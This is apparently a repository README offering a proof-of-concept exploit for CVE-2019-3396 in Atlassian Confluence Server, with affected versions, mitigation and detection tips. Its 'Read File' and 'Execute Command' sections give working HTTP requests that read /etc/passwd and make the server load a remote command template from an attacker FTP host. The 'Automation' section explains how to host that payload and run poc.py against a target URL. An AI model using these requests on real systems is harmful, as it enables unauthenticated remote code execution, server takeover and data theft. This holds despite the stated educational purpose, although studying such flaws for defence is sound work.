CVE-2019-3396 PoC — Atlassian Confluence Server 路径遍历漏洞

Description

CVE-2019-3396 confluence SSTI RCE

Readme

# CVE-2019-3396
CVE-2019-3396 confluence SSTI RCE

## 🔎 What is CVE-2019-3396?

* A **critical Confluence bug** (Atlassian).
* Type: **Template Injection + Path Traversal**.
* Risk: **Remote Code Execution (RCE)** without login.
* Status: **Exploited in the wild**.

---

## 🛑 Affected Versions

* **6.6.0 → 6.6.11** ❌ vulnerable
* **6.6.12** ✅ fixed
* **6.12.0 → 6.12.2** ❌ vulnerable
* **6.12.3** ✅ fixed
* **6.13.0 → 6.13.2** ❌ vulnerable
* **6.13.3** ✅ fixed
* **6.14.0 → 6.14.1** ❌ vulnerable
* **6.14.2** ✅ fixed

👉 Always check Atlassian’s official advisory for full details.

---

## 💥 Impact

* Full **server takeover**
* **Data theft**, ransomware, crypto-miners
* Attackers can run **any code they want**

---

## 🔐 Mitigation

* ✅ **Upgrade** to patched Confluence version (best fix)
* 🚫 Disable **Widget Connector** macro if you can’t patch right away
* 🔒 Limit access (internal only until fixed)

---

## 👀 Detection (safe tips)

* Watch logs for strange requests hitting macro/preview endpoints
* Look for weird processes or outbound traffic
* Use vulnerability scanners to confirm version

---

## 📂  Read File
```
POST /rest/tinymce/1/macro/preview HTTP/2
Host: {***}

{"macro":{"params":{"_template":"file:///etc/passwd"}}}
```

<img src="img/1.png" >


## Execute Command 
```
POST /rest/tinymce/1/macro/preview HTTP/2
Host: ***

{"contentId":"1","macro":{"name":"widget","params":{"_template":"ftp://***:8888/cmd.vm","command":"id"},"body":""}}
```

## Automation 
* upload cmd.vm on your vps
* use ftp or https for create likn to this cmd.vm file via
 ```
pip install pyftpdlib
python -m pyftpdlib -p  8888
```
* update file poc.py with new value for pyftp = "ftp://10.100.10.100:8888/cmd.vm"

```
python poc.py <url> <cmd>
python poc.py https://ip:port  "id"
```


⚠️ **TIP** — this repo is only for **education, defense, and awareness**.

---

## 🔗 References

* [Atlassian Advisory](https://confluence.atlassian.com/security) 🏢
* [NVD Entry for CVE-2019-3396](https://nvd.nist.gov/vuln/detail/CVE-2019-3396) 🛡️

File Snapshot

Remarks